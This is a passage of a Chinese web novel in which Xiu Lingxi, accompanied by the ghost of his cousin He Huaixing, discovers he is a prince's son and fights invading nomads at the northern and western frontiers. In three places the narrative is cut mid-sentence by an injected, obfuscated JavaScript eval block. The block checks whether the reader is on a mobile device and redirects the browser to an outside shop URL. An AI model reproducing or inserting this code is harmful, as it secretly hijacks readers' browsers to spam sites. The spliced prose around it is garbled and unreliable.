修令曦问:“这灯供不了,还有别的灯可以供吗?” 那位师兄说:“南斗六星和北斗七星灯。一注生,一注死。延寿禳灾,解厄招魂。” 修令曦:“可否两个都供?” “可以,小友这边请。” 修令曦被领着去了另外一个殿,里面的道士们打坐诵经,沉厚有力的声音在大殿内响彻不绝,降真香的气味更加醺酣清烈,殿内供的麻油灯呈星位排列。 先前那位师兄把写着生辰八字的黄纸交给了其中一位年长的道士,他们抬了张小小的供桌,红布铺在上面,用米在中间堆洒出道咒,左右摆出弯曲的星位,黄符上朱砂笔批的是生辰八字,放在其中空隙处,中间和左右都点上了麻油灯。 诵经声突然高了起来,那位年长的道士在供桌前挥了几下拂尘。 整个大殿内按照特殊星位摆放着许多小供桌,上面无一例外都是一样的布局,在浑厚整齐的诵经声中,麻油灯的火苗稳稳跃动,照映着神像。 “灯已供好,小友随我这边来写供灯年长。” “好。” 修令曦跟在他身后踏出大殿高高的门槛。 京都的落叶掉得越来越多,寒风萧瑟,簌簌一地枯叶。 修令曦的伤也养得差不多,他回了将军府,那只香囊他系在腰间,只是每每想起,心里都是空落落的,有时他感觉何怀幸仿佛还在他身边,歪着脑袋不高兴地训他犯浑,可回神再定睛一看,都是错觉。 他解了衣袍搁置在屏风上,香囊悬挂在腰带上。 洗沐结束,修令曦套上干净的长袍,拿衣裳的时候他不小心碰掉了腰带,连带脱下来衣裳往下滑落,他捞回来时手指划戳到了屏风上的木刺,香囊坠落在地面。 他怕万一地上有水汽沾湿香囊,没来得及顾上手指上的伤口。 木刺在他食指划出一道细窄的口子,伤口却很深,血不断涌出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何怀幸不明所以,问:“怎么了,二哥?” 修令曦泄了气,连他自己也不知道为什么莫名其妙产生一股怨气,只好摇头说没事,问:“明日你还在的吧?” 何怀幸说在,其实她自己也不知道,但总觉得不说她在,二哥今晚恐怕睡不好了。 修令曦躺上塌,辗转反侧,时不时喊她一声,何怀幸无可奈何,干脆在床边陪了他一晚,确保他半夜醒了还能看见她。 “怀幸?” “我在。” …… “怀幸?” “我在。” …… “怀幸?” “二哥你安心睡吧,我一直都在。” …… 第二日修令曦醒了,何怀幸就在塌边守着他。 “醒了?” 修令曦朝她微微一笑,不安的心悄然放下。 两人朝夕相伴,何怀幸陪着他晨起练功,入夜了在灯下观书闲谈,没有人知道修令曦的身边跟着一只鬼。 除夕夜两人一起守岁,修令曦给她封了红包,贺她新岁。 封红上写了她的名字,红包修令曦专门另外替她存放起来。 很快,惠仁十七年二月初,蛮夷边部的骑兵如破竹之势,在边境挑起战争。 18. 身世 段蘅力荐修令曦参军,他被父亲允许和他们一道北上。 出发那日,天不亮修令曦就起了,在屋内整装待发。 天还是黑的,朔风料峭,寒月孤星低垂在天幕。 修令曦在案前坐下,他虽然紧张,但眼神十分坚毅,在烛火昏黄的光影里,他仿佛又回到记忆中夕阳下的土坡,席卷而过的冷风里混杂着枯草断茎,筚篥声幽远绵长,红色的战旗在空中飘扬,将士们高歌踏步,旗帜被风吹得哗哗啦响,也吹响了胜利的号角。 何怀幸看着他一身劲装,护腕在灯下泛冷光,平日柔和的面庞也在这一身铁甲衣中变得锋利,她只在身旁静静陪着他,守着黎明前的黑夜,等待那一线天光升起。 将士们踏着升起的晨曦,在沿街百姓们的目送中出城。 修令曦随着父亲的军队,一路行军北上,穿过银城抵达原川。 辽阔平原上一半衰草连天,一半风沙冷月。 烽火狼烟南北山,千乘铁骑卷黄土,漫漫飞沙月色寒,可怜无情抔土,埋尽忠骨。 边境战火连天,城内的百姓苦不堪言,日日都活在惊恐中。 半年后,修令曦孤身匹马去了乌城,投靠双家军。 因为父亲并不想要他,当时只是迫于压力应下,应允他跟随。 他在军中处处受排挤,空有一身本领却无处施展。 何怀幸看不得他颓败消沉的样子,道:“二哥,放下对舅舅的期待吧,原川没有你的立足之地,不如另谋高处,转投乌城?” 她清晰地分析道:“西城入关地势重岩叠嶂,高山横阻,易守难攻,蛮夷人现在不会冒险强攻,否则就是得不偿失。他们如今主要的火力还是在原川以及乌城。乌城虽难攻,但拿下它,可两面夹击原川。到时两城均失守,北边防线全破,敌人的骑兵长驱直入,再无阻碍。既然这里没有你的位置,那不妨选择离开,去闯出另一片天。” 修令曦沉默思索。 前方战火硝烟弥漫,他却坐在灶台后烧火,熊熊烈火烧滚锅里的汤,也燃烧着他的心,他怎能甘心屈居后方,他的志向是上阵杀敌,去抛颅头洒热血保家卫国。 彩角声吹月堕,渐连营马动,四起笳声。[1] 城头的烽火又燃起,战鼓号角声紧催铁甲,兵刃声和厮杀声传来。 自从战争开始,城内的百姓原本平淡的生活被打破,没有一天安宁的日子过,妇孺老妪苦守支离破碎的家,等待不会归来的人。 有多少人流离失所,家破人亡,天寒地冻只能靠沿街乞讨勉强存活。 她从城中走过,那一张张忧伤的面容背后是无数个普通百姓一生的重量,是史书篆刻难以承载的鲜活人生。 “民生多艰,哀鸿遍野,将士枯骨终不还。”何怀幸心悲,满目哀愁道:“二哥,早日结束这场战争吧,不要再有更多的亡灵孤魂野鬼一样游荡,不得安息。” “城头铁鼓声犹震,匣里金刀血未干。”[2] 幽蓝的夜空明月高悬,城头高挂的军旗在朔风中被撕扯,刀割似的风寸寸刮破她的身体。 她忽然感觉到寒冷,密密麻麻的冷意扩遍全身,连声音也冰冷如霜。 “千里黄沙万里月,热血泼洒祭天灵。三春白雪归青冢[3],试问藏锋何处?” 火烧得噼里啪啦响,爆裂的火花四溅,在黑夜里点燃了一把火炬照亮前路,驱散寒夜噬骨的冰冷。 修令曦咬紧颤栗的牙关,终于听见了自己的声音—— “应将性命逐轻车。”[4] 他留下一封书信,连夜策马扬鞭,向乌城的方向狂奔而去。 皓月当空,荒沙和衰草远远抛在身后,他孤身只影,匹马赴明月。 在乌城修令曦得到双侯赏识,在军中作为先锋打头阵,与蛮夷边部分支在乌城的首战告捷,营中士气高昂。 然而蛮夷破了北海关,原川失守了。 修家军不得已退居银城,蛮夷边部分支牵制乌城为的就是拖住援军分散火力。 危急关头修令曦和双侯之女双满铮领命,带兵从乌城直接绕过鹊嘉山,和修家军一起死守银城这道关卡。 鹊嘉山正巧卡在银城通往乌城之间,山路弯曲高悬且狭窄,多峡谷深涧,不易行军,往常都是从原川或平城借道至乌城。 西城靠近蛮夷之地的秋坝牧场,虽接壤京都,但山关险峻难破,短时间蛮夷人不敢贸然强攻。而银城地势平坦直通京都,一旦破城,京都对于蛮夷如探囊取物。 银城是圣国的最后一道防线。 战线持续拉长,纷飞战火中何怀幸陪伴修令曦从初春到深秋,少年眉间的青涩在春去秋来中褪去,再转眼又是一年十月秋。 惠仁十九年秋,原川仅收复四分之一,在此期间蛮夷人对城中百姓烧杀抢掠,年轻力壮的被抓走奴役,老弱妇孺被抓上战场,用来当人肉盾,手段残忍至极。 修令曦与父亲同驻守银城,他们暂住在知县府,将士们驻扎在府衙旁荒废的大宅中,两面墙打通,方便进出。 父亲还是一如既往不同他说话,反倒是修令远和修令山与他相处久了,三个兄弟之间变得亲近了些。 几经沙场生死局,大哥也不像之前那般纨绔不堪,三弟则越发沉稳。 临近他生辰,他们还说叫上父亲一起给他庆生。 而就在前几日,远在千里之外的京都城内四处飘散着许多的纸条,一桩秘闻就此揭开。 消息从京都传到了传到北境,上面白纸黑字写着——崇文九年八月二十日,修将军修文脉案:精少、精冷,气郁湿也,相火旺盛。 很快修大将军不育症的消息,以疾风之速传开了。 崇文九年九月先帝逝世,两个月后由二皇子继位,也就是现在的穗德帝。 新年伊始,穗德帝改年号为惠仁。 惠仁元年四月,修令曦的母亲身怀有孕三月余,被接进将军府。 意思很明显,这个孩子或许……可能不是修将军的。 这时四王爷却跳出来说,修令曦其实是他的孩子,并且找出了当年为修文诊脉的大夫,说修将军当时并不知情。 事情一下子变得扑朔迷离起来。 据知情人士口述,惠仁九年时,修文碰巧再次去此医馆诊脉,大夫告知他身患不育之症已久。 修文很是震惊,并不相信,大夫便翻出之前备份的医案给他看。 他看过医案,沉默良久,警告大夫不得外传,要他替此事保密。 这下就能解释得通,当年修将军为何突然开始对二公子态度冷漠,从那之后更是不闻不问。 而修令曦的母亲生前是花楼舞姬,四王爷长年厮混花楼,与她情投意合,只是碍于身份不能相守。 他给不了她想要的名分,两人就此断绝情谊,不再往来。 此事在朝中引起轩然大波,如果修令曦真的是四王爷之子,那他身上流着的就是皇室血脉。 陛下至今无所出,五王爷一向不参与朝政,四王爷是个浪荡子,二人都难当大任。 国无储君,实乃大难。 先帝虽立储君,但驾崩后太子追随而去,国无君主,几位皇子夺权,弄得朝堂腥风血雨。 当今陛下子嗣艰难,大臣们时常为此感到发愁,如今有了这一出,那就说明国家后继有人啊,而且修令曦文武双全,又师从段蘅,作为储君人选,再合适不过了。 开始大家还同情修将军被戴了顶绿帽子,现下反倒羡慕起他,替皇家养了个儿子,以后可谓平步青云。 但也有人不这么认为,修将军冷落他多年,难保修令曦不会心生怨恨,将来不针对打压就算不错了。 是福是祸,谁知道呢? 段蘅也是万万没想到,修令曦的身世这么复杂。 因此朝中也有不少人怀疑,段蘅是不是早就知道,更叹他慧眼如炬,来日或可成就两朝帝师。 段蘅对立储之事保持缄默,他深知他们这位陛下疑心太重,帝心难测,一旦涉及到分权,轻易表态不是好事。 上奏的折子都是在劝陛下早立储君,或是夸赞修令曦年少有为云云,意图再明显不过了。 穗德帝将奏折重重甩在案面,冷哼一声,道:“好一个暗珠胎结!” 他当真是小瞧了他那位四弟。 昭德殿的太监和宫女大气不敢出,把头埋得更低,就连万公公都不敢上去劝陛下消气。 直到康平公主照常让人送来了长生丹,穗德帝心情这才缓解些。 那些臣子们为国家后继有人,激动的睡不着觉,完全忽略了他们的陛下是不是也这么想。 人是有私欲的,尤其是站在权力塔顶尖的人,一不小心就会被诱惑,成为权力的奴隶,心生极致的掌控欲。 穗德帝对立储一事闭口不提,只说等原川收复,边境平定后再议。 这事闹的沸沸扬扬,将军府闭门谢客。 消息快马加鞭送到边境,修令曦还没来得及过生辰,便得知修文不是自己的父亲,他的父亲实际上是四王爷。 他摇身一变成了四王府的世子,而且有可能成为储君,甚至将来荣登大宝。 修令曦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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修文道:“他与王家女是青梅竹马的玩伴,因此定下姻亲。崇文年她父亲是盐铁官,我们两家自小相识。后来王家因贪污被抄,你父亲央求你祖父出面,费了几番周折才保下她。你父亲极喜爱她,两人如约成婚。王家女虽有才情,但善妒,架不住你父亲喜欢,身边除了她没别人。两人都喜欢游览山水之间,她生前写了不少游记,不过都是些没用的东西。不安居内宅,拉着你父亲四处跑,常年不着家,把你父亲带野了心,前程不顾,仕途不要。” 他呷了口茶,继续道:“可惜王家女迟迟不生子,你父亲无奈,养了个外室,这才有了你。你父亲想接你回府,又怕王家女不高兴,恰好丽姨娘身体有碍,不能生育,便抱回来给她养着了,对外就称是我的孩子,反正都是我修家血脉,哪房养都成,不可能让你流落在外。后来王家女开了窍,生了令怡,可也还是不安分,害的你父亲也死了。这女人就是个祸害。” 修令山问:“那我生身母亲呢?” 修文轻描淡写道:“病死了。” 修令山默了一瞬,道:“谢父亲养育之恩,令山无以为报,今生定不负此恩。” 修文欣慰,道:“你虽然不是我亲生,但这些年养在我膝下,我早就把你当作自己的孩子。同为一族血脉,理当同气连枝,一致对外,切不可让人玷污了我修家纯正血脉。” “是。” 修令山出了书房,心情却有些复杂。 丽姨娘自小待他极好,事事亲力亲为,把他看作眼中宝,也悉心教导,犯错从不纵容。 她是一个很好的母亲,把他教得很合格。 防止谣言越传越离谱中伤修令山,修文即刻为修令山正名,将他的身世来源解释得一清二楚。 众人如释大惑。 修令曦已经麻木了,得知后并没有什么反应,反倒是何怀幸颇为气愤。 “真是令人耻笑!小舅母那般好的人,死后还要落个善妒的名声,分明就是他们龌龊又恶心!反倒叫女子大度,谁愿意要他们这些脏烂臭的贱货!天不开眼,怎么不收他们去罢!” 她眼神幽幽转向修令曦,道:“二哥以后要是如这些腌臜货一般,我必不会留情面。” 修令曦后脊一凉,连忙为自己辩道:“我身心内外如一,从来恪守品德,表妹放心。” 何怀幸冲他皱了皱鼻子,以示威胁。 修令曦表情严肃,以示认真。 19. 西城 原川收回的地域四处荒废,都是断壁残垣,毫无生气。 又是一个凄凉的生辰夜。 修令曦已经习惯,他许多年不再过生辰了,只是他以为今年会不一样。 近来他和大哥三弟处的不错,尽管父亲依然连半个眼神也不给他,可他们父子四人在一起时,气氛还是十分融洽的。 大哥那爱嘚瑟的性子,也会逗他两句,三弟会板着脸,细心给他空了的茶杯添水。 他坐在下方,父亲坐在主位给他们分析军情,叮嘱他们不可掉以轻心,为将者应该时刻保持警惕。 可是现在,那片刻的温情,也不会再有了。 刚跟蛮夷边部打了场败仗,他走在城中心烦意乱,一路上有人同他打招呼。 “云校尉。” “嗯?”修令曦偏过头,看清来人后道:“左校尉。” 北地入夜极寒,冷得人发僵。 双满铮搓了搓手,跟上修令曦的脚步,说:“蛮夷人这招太狠了,最近这几回跟他们打得太艰难了,就没有什么办法能治他们吗?” 她和修令曦两人同为校尉一左一右,为了方便区分,大家通常喊修令曦都在他职位前带上他的字。 修令曦也是一脸沉重,摇头道:“他们做的事情惨无人道。” 双满铮也听说了他身世一事,知道他心情不佳,但她实在不擅长安慰人,加上这事也挺让人难堪的,关键又涉及皇室,不宜拿到明面上讨论,大家都在私底下议论。 她转移话题,笑道:“天寒霜重不如与我一道找申无非那家伙,喝点热酒暖暖身子,正好我们仨一起说说话解解闷。” “我不善饮酒,就不扰你们的雅兴了。”修令曦脸上露出歉意,说:“有些累了,我先回去了,多谢你的好意。” 双满铮才反应过来,她忘了他不喝酒这茬,惋惜道:“好罢,那你好好休息,有需要就找我和申无非。” 修令曦自然懂他们的心意。 “谢了。” “客气什么。”双满铮道:“那我先过去了。” “好。” 他的生辰也就修家父子知道。 他早就没有过生辰的习惯,也不爱大张旗鼓宴请,本来他们是想,今夜父子四人简单吃个饭,就当给他庆生。 所以其他人并不知晓,今日是他的生辰。 修令曦回到自己的住处,何怀幸瞧他一身冷气,不敢靠近,怕自己变成冰碴子。 “二哥,你可算回来了。” 在军营里,修令曦不常随身携带香囊,一是有军令,不允许佩戴香囊;二是怕丢在战场上,找不回来;三也怕被血污沾上。 从京都的来信中,何怀幸也知道了,修令曦并非她舅舅所出,是皇家宗室的血脉。 这些年他一直渴望父爱,现在得知自己竟然不是亲生的,而舅舅居然早就知道了,所以才冷落他。 可想而知他心里得有多郁闷,这几日修令曦的情绪都很低落。 况且这件事情或许并不像表面那么简单。 “嗯,刚刚碰到左校尉,聊了两句,她去找申无非喝酒,我不喝,就没去。”修令曦生起火盆子,在旁边坐下,炭火烘得银甲上的寒气化掉了,何怀幸才敢靠近。 “今日战况如何?” “他们又用锁绳拖着那些老弱病残的百姓,在前线耀武扬威,我们也只能任由他们牵制,一直防守,不敢贸然进攻。” “这群恶徒,”何怀幸怒目圆睁道:“简直是丧尽天良!” 修令曦眉间无奈,道:“你说得对,他们就是一群恶徒。” 他拿出一把很精致的匕首,坐在案几后端详。 这是他三岁生辰父亲送他的,他一直带在身边。 可是,一切都回不去了。 这些年他想不通的事情,背后的真相竟是一个乌龙笑话,甚至对于父亲来说,他是他这一生的耻辱和污点。 修家容不下他,他不敢奢求父亲原谅,但四王爷他也断不会认,一个把他当做棋子的人,不配做他的父亲。 他说过,他绝不会做任何人手里的利器。 何怀幸想了想,问道:“二哥,王爷有和你通信吗?” 修令曦:“没有。” 何怀幸道:“这事恐怕不是那么简单,背后定有别的谋划。” 四王爷心机深沉,花数十年布局,他的心思,昭然若揭。 他握紧了匕首,喃喃自语:“现在我就是个无家可归的人。” 冰冷的匕首映着暖光,也倒映出那双悲伤的眼睛。 何怀幸不忍,隔空轻拍他的肩膀,安慰道:“没事,不需要他们,你也一样可以好好的,况且你还有你的老师,还有我啊。我会陪着你的。” “二哥,我们一起出去走一走吧。”她道。 他应了一声,说:“好。” 修令曦起身,把香囊揣在怀中,匕首收在腰间。 深邃的夜空繁星闪耀,月华如练,冷风肆虐,两人并肩从府衙走到打通的宅院内,周围扎满了营帐,巡逻兵一波接一波。 二人一路沉默,风呼呼地吹,营中不知谁人在吹筚篥,孤泣幽暗的吹奏音裹着呜咽的风声飘向远方。 走到附近一座废弃的小楼台,何怀幸爬到离最高处仅剩三步阶梯时停了下来,站在原地回头遥望。 那是京都的方向。 黑夜中只能看见模糊的屋脊和檐角,远处一片黑暗,其余的什么也看不见,只有无尽的寒风呼啸。 月光把何怀幸的身体照得透明,光辉将她笼罩其中。 修令曦立她身后顺势在台阶上坐下,他的手搭在膝盖上,头发用一根红色布带高束起,两侧的额前碎发遮住眉尾的锋利,中间露出漂亮的美人尖,两根红带子在黑暗中狂舞,战甲下的披风被吹得哗哗响。 谁都没有说话,只是望着明月,望着远方。 过了很久,修令曦才道:“有时候觉得这一生好像也没什么意思,永远如这黑夜一般,看不见光,也看不清路。” 何怀幸回道:“二哥不是立志报国吗?人有理想,就有希望。” 他眼眶湿润,捏紧了拳头,垂首苦笑着,“我自诩报国,却也只能眼睁睁看着那些手无寸铁的人被蛮夷人拉上前线当肉盾,不能救他们。疆土被掠夺,子民遭受外敌迫害,生灵涂炭,而我什么也做不了。” 何怀幸回过身,蹲在他面前,注视着他,说:“二哥,你已经做得很好了。我不管你心里是怎么想的,但请坚持走自己想走的路,哪怕路再暗,天上的明月也会照亮你。” 修令曦避开她的视线,偏过头不敢看她。 “月亮总有消失的时候。” “可它最终还是会出现。” 何怀幸倾身向前抬手环抱住他,凑近他说:“生辰快乐,二哥,永远不要怀疑自己,人活着是一件幸运的事情。生命有时尽,只盼无憾事。只管向前走,因为你不是一个人。” 修令曦把头靠在她肩上,他轻轻揽住她的腰,闭上了眼睛,眼泪掉在她身上。 旧阁楼台之上,两人静静相拥,身后是连绵不尽的黑夜和弦月梦影。 “生辰快乐,谢谢你,怀幸。很早之前我就应该对你说这句话。”修令曦清润的声音被风吹得有些散,风刃割在脸上生疼,他说:“你总是鼓励我、陪伴我,在我不清醒、迷惘的时候,告诉我前进的路在哪里,我像在黑夜里四窜迷失方向的一条小船,靠近你就靠近了停泊的岸。” 那双精致的眼眸在严寒之夜明亮又温暖,满怀希望般看着她。 何怀幸半蹲在他身前,说:“因为我们从来都是一样的人。” 她缓缓起身走到最高处,站在他身侧,双手拢在袖中。 修令曦坐在她脚下昂首,她神色肃穆,单薄的身躯在黑夜里矗立,像一座高耸坚|挺的哨台,在狂风中岿然不动,他听见上方传来她的声音。 “一样的无家可归,一样一无所有。” “我三岁丧父,四岁丧母,自小寄人篱下,孤身一人,处处受制,不得自在,短促一生真正得到的东西,除却窗前明月,从不曾拥有过什么。二哥虽从小锦衣玉食,也不过是烟雨大梦,一切全凭他人喜恶决定,得到的始终不是属于自己的。你那么渴求舅舅回心转意,能看见你,其实只是因为你从未真正的拥有过,所以才更加害怕失去。” 修令曦顿然开塞,拨开迷雾后,暴露出那颗总是不安惶恐的心。 他害怕父亲的失望,害怕会被父亲抛弃在角落不闻不问。 等到这一刻真正来临,对于他来说,犹如灭顶之灾。 从出生起他的全部都是父亲赐予的,父亲想要一个聪明的、孔武有力的孩子,他努力完成父亲的期待,才能站在他的身边,得到他特别的宠爱。 他至始至终渴望的不过是一种完全信任的爱。 雪花飘然而下,落下了北地今年的第一场雪。 何怀幸伸出手,晶莹轻柔的雪穿过她透明的掌心,静静躺在修令曦的手中,很快融化了。 纯白的雪纷纷飞舞,冰凉的雪花飘飞在脸上,让人骤然清醒。 修令曦道:“从今以后,我不会再执迷不悟了,等待不属于我的东西。” 何怀幸一展舒怀,心里默默念着瑞雪兆丰年。 她说:“雪下大了,我们回去吧。” 冷月逶迤,照了一地清白,两人的身影在风雪交加和凛寒的黑夜中逐渐远去。 几日后宗正寺将修令曦入了皇室谱牒,替他取了个新名字——南宫琂。 四王爷南宫苑传信北境,叫他回京都行认祖仪式。 何怀幸疑惑:“陛下这么轻易就答应了?” 修令曦道:“老师来信,四王爷勾连朝臣施压,劝陛下以皇室子嗣为重,引得雷霆震怒。” 何怀幸忧心忡忡道:“此去京都,有去无回。” 修令曦面色肃穆道:“能不能留一口气走到京都也是一个问题。” 正当一筹莫展之际,蛮夷边部突袭西城。 蛮夷人干扰了北境的视线,与之正面交锋的同时派出一支暗兵绕到侧方夜袭西城,西城守备军不防,节节溃败,戍城将领皆战死无一存活。 如今蛮夷骑兵如猛虎围剿,已经将圣国完完全全按死在它的爪牙之下。 修令曦借此机会,主动请缨前往西城,意将归京一事按下不提。 得陛下批准,特遣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349337|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云校尉领兵镇守西境。 只是虽有陛下诏书,修文也只给了他几百人。 因为地势原因,西城守军本就比北境少,又在突袭中耗损了几万人。可原川兵力不足,从乌城调出的兵马也多数折损了,蛮夷主要部队仍然在原川境内,并没有多少人马能给他带去西城,乌城也再没有多余的兵马可援助。 随诏书一起来的,还有一封密信。 倘若守不住西城,他就要以死谢罪。 这注定是一场死战。 轻骑狂奔不眠不休赶了十几日路,硬生生缩短了一半的路程,抵达西城时,吉县已失守,险峻关口被敌军占领。 守备军退至邻县,士气低迷,百姓惶恐不安,西城通向京都的关口由京都禁卫兵层层把守,逃窜的流民翻山越岭聚集在城下被他们以奸细之名驱赶,他们无处可去只能回到西城。 西境连绵山脉守护了这片土地上世世代代的人们。 流亡者匍匐在雪山下祈祷。 遥远的神山悲悯,人们相信它一定会给这满目疮痍的土地再次带来生机。 蛮夷的兵力分散得厉害,在西城的屯兵并不如北境多,但西城守备军在交战时损伤过多,又因蛮夷如今占据地利,有绝对的优势,想要驱逐他们出境并不是一件容易的事情。 但闯进家门的贼,焉有放任他们的道理? 守备军退居毗邻吉县的石县,以抵挡蛮夷边部东下深入西城直抵京都。 “各县能调集的人马拢共加起来有多少?” 县衙内修令曦和石县县令对着沙盘商讨作战计划,何怀幸在旁边认真观摩沙盘上的排阵。 县尉接道:“守备军如今只余两万人,西城各县能抽调集结的人马不过一万五千人。” “不是说西城守备军有十万吗?”何怀幸问。 自从到了西城,修令曦眉头就没有舒展过,此时更是愁绪满怀。 县令道:“这次突袭我方损失惨重,折损了近三分之二。蛮夷骑兵确实厉害,无论是从战形还是辎重上都远胜于我们。这里又靠近他们的秋坝牧场,哪怕是严冬他们的补给也能源源不断,而我们不行,西城各县年初洪涝加上年中大旱,再加上北境战起赋税又重,西城能供给的军资远远不够用。” 县尉又在旁补充道:“蛮夷人一入我朝境内就烧杀抢掠、无恶不作,如同遮天蝗虫,所到之地,统统收为己用,因此得以维持长久的作战。” 修令曦问道:“吉县和石县之间是不是有一条栈道相通,当初为了方便运输酪乳直达京都所建,从吉县起直接连通京都,并且经过了石县。起战后捣毁,全面封锁,如今还能通行吗?” 县尉石青回道:“是有这么一条官道在两县之间,但如今只余残迹,已无法通行。” 修令曦却道:“明日带我去看看。” 县令石竹盯着沙盘,抬头问道:“校尉是想强行借道偷袭?” 修令曦不语。 县令和县尉并不同意此举,认为太过惊险,两人纷纷劝说。 县令道:“校尉初到西城,恐怕不了解此地的险恶。西城不同银城原川,也与中部南部不同,这里不仅群山环绕,而且地形忽高忽低,多是裂谷深渊、悬崖峭壁。北境数次大战死伤无数,西城能多年相安无事,正是因为地势阻挡,易守难攻。” 县尉道:“如今蛮夷占据要塞,想要夺回来绝非那么容易的事情。不说栈道毁了,就算它还在,想要通行也是十分危险,错一步就是粉身碎骨,连尸体都找不回来。” 修令曦目光幽沉,道:“可若是不能尽快去往吉县,按照蛮夷人杀虐的本性,吉县的百姓将无一存活。自从蛮夷人入关,他们在我朝地界的所作所为,两位大人应该也很清楚。” 两人面带忧虑,都是一副忧心忡忡的样子,县令石竹别过脸,眉间布满沟壑,深重地呼出一口气。 修令曦又问:“既如此险恶,那当初怎么修建栈道的?” 石青长叹一口气,说:“那都是拿命搭建起来的,各栈道连接的两边撒过的冥纸,垒起来恐怕能填了一道天堑。一道圣令,万民哀矣。” 修令曦目光锁住沙盘上那道天堑。 除了兵行险招,别无他法,等到蛮夷军真的破了西城直下,京都沦陷,就无力回天了。 到时原川也守不住,乌城势必两面受敌,再怎么负隅顽抗也是枉然。 何怀幸和修令曦去看了废弃栈道,确实险峻非常,悬崖底下是湍急的昌江水,一旦掉下去没有生还的可能。 但只有从这条栈道可以绕到蛮夷驻地后方,也是唯一可以到达秋坝牧场的路。 日光下昌江汹涌,击打着岩石,波涛如怒,混浊的江水像是时刻准备吞噬失足者,张着血盆大口的巨蟒。 日西沉,天色昏黄,江水逐浪,天与水交融在一片浑浊的颜色里,红缨刺破长空,一杆银枪如繁星闪耀,熠熠生辉。 何怀幸问:“二哥决定了是吗?” 修令曦站在悬崖之上,默然点头。 他不敢想象蛮夷骑兵踏破城关后会是何等惨状,又会有多少人死在铁蹄之下。 修令曦连夜点兵渡天堑,这一次他带上了香囊,将它揣在心口。 20. 围困 将士们在寒夜中徒手攀过峭壁,厚重的手茧扒在冰冷尖锐岩石上,划破流出的血迅速凝结在石面上,而险峰底下是湍流不息的昌江水,冷漠地吞噬了不幸的失足者。 渡过浪涛急流,翻过了这座悬崖,就潜入吉县地界。 蛮夷人以杀人取乐,城中的百姓被那群蛮夷人半数杀尽,整座城池完全被蛮夷人掌控,局面远危于何怀幸的预想。 修令曦带着五千精锐之兵夜袭蛮夷人又一把火烧了他们的粮草仓,趁蛮夷人还没反应过来将城中百姓救出放他们出逃,为了给百姓们争取更多的逃跑时间,修令曦带着将士们与蛮夷人殊死搏斗。 但蛮夷在吉县部署的兵力是他们的十倍之多,西城军被围困在城中孤立无援,仗打了一天一夜,最后修令曦带着一众伤将残兵一路撤退,被逼困到了一座荒山深处。 修令曦在城中救下一个孩子时中了箭,所幸伤的不是要害,伤口在右肩锁骨下一指,他断了箭尾,只余箭头嵌在体内。西城军剩下伤的残的,没有随行的军医,谁也不敢轻易替他拔出。 一名将士扶着他在枯树旁坐下,十分担忧道:“云校尉您还能撑得住吗?” 伤口钻心的疼,修令曦靠在树干上喘着粗气,说:“无碍。” 身后的众将士面色如缟互相搀扶着坐下,天阴得厉害,寒风刺骨。 何怀幸只能干着急,如今情况危机,她亦束手无策。 “二哥,现在怎么办?你还能坚持吗?” 修令曦扭头看她,表情像个没事人一样,眼神中还是透露出一丝疲惫,他斜斜靠在枯树干上,天又阴又冷的,冷风无情地摧折枯老的枝干,满地萧索。 “出发前我和已经县令他们达成一致,守备军会从宜县绕道过来。” 何怀幸:“他不是不同意吗?那谁来领兵?县尉?” 可县令一直是极不赞同此战的,他始终认为太过冒险,只是让将士们平白去做敌人的刀下鬼。 修令曦低声道:“蛮夷人杀虐成性,他是不会眼睁睁看着这些无辜百姓惨死蛮夷人刀下的。他不想让将士们枉送性命,我能明白,因为我也不想。可是国朝有难,将者岂能不为,杀敌战死是荣耀。申无非在赶来的路上,在我离开原川前,申军侯和我说他已经申请调令来西城。” 何怀幸:“他怎么突然要来西城?” 修令曦道:“还记得军马案吗?” 何怀幸点头:“记得。” “我猜西城守备军军资也和其中有关联,西城十万在编军员,有造册作假的嫌疑。” 何怀幸惊道:“那些人连军资也敢做手脚?” “蠹虫布满朝野。”修令曦道:“他父亲是御史,陛下让他协同调查,申无非又在军中,更便行事,肯定会暗中替他父亲探查。” 何怀幸听完他的话反而面色凝重,宜县到吉县最快也要三四日,慢些则需五六日,现在所剩的兵力难以抵抗蛮夷人的猛攻,而二哥如今又伤重,敌人一旦发现据点攻上来,他们必死无疑。 修令曦的声音很小,旁人听来似喃喃自语,一旁将士问:“云校尉您说什么?” 修令曦平声道:“将士们,三日后援军必到,我们一定能挺过去。” 这一句话落地,给大家心中带来了一线希望,原本死寂和战败的灰暗一扫而过,连眼神也变得坚定,于是纷纷应和:“我们一定能!” 修令曦组了一支游击小队,利用夜间视野盲区在山上四处设障碍,又用削尖的树枝布陷阱。 天色很快昏暗,夜越发冷了,将士们受了伤缩在一处抱团取暖,只让没受伤的轮流守夜,其余人围在修令曦一旁,他们不敢点火取暖,否则暴露了行踪,蛮夷人能立刻让他们全军覆灭。 西城军藏身的地方在一处凹陷的坡下,周围茂密枯死的粗壮的藤曼缠绕在旁边大树的树冠上纵横交错,恰好形成一个隐蔽的空间。 这是一个极其难挨的冬夜。 伤口的血液冷得凝固了,修令曦能感觉到刺骨的冷意在他全身的血液里游走,身体已经开始变得僵硬了。何怀幸靠他更近了,拥着他不停喊他名字。 